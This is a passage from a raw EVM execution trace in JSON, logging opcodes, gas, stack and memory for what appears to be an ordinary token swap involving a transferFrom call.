bf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13612,"op":"SUB","gas":98589,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13613,"op":"DUP6","gas":98586,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13614,"op":"AND","gas":98583,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13615,"op":"EXTCODESIZE","gas":98580,"gasCost":2600,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13616,"op":"PUSH2","gas":95980,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x325b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13619,"op":"JUMPI","gas":95977,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x325b","0x357b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13691,"op":"JUMPDEST","gas":95967,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13692,"op":"PUSH1","gas":95966,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13694,"op":"DUP1","gas":95963,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13695,"op":"DUP7","gas":95960,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13696,"op":"PUSH1","gas":95957,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13698,"op":"PUSH1","gas":95954,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":13700,"op":"PUSH1","gas":95951,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b